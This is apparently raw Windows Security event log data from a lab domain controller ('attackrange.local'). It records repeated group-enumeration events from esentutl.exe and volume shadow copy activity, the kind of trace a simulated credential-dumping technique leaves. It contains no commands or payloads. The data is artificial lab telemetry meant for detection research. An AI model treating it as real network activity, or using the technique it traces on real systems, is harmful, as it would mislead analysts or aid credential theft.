03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258034
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258033
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258032
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258031
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258030
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258029
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258028
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258027
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258026
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258025
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258024
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258023
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258022
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258021
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258020
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258019
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258018
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258017
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258016
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258015
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258014
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258013
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258012
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258011
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258010
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258009
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258008
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258007
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258006
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258005
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258004
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258003
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258002
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258001
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=258000
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257999
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257998
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257997
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257996
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257995
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4905
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=257994
Keywords=Audit Success
Message=An attempt was made to unregister a security event source.

Subject
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Process:
	Process ID:	0xf08
	Process Name:	C:\Windows\System32\VSSVC.exe

Event Source:
	Source Name:	VSSAudit
	Event Source ID:	0x569D12
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4904
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=257993
Keywords=Audit Success
Message=An attempt was made to register a security event source.

Subject :
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Process:
	Process ID:	0xf08
	Process Name:	C:\Windows\System32\VSSVC.exe

Event Source:
	Source Name:	VSSAudit
	Event Source ID:	0x569D12
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257992
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257991
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257990
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257989
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257988
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257987
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257986
Keywords=Audit Success
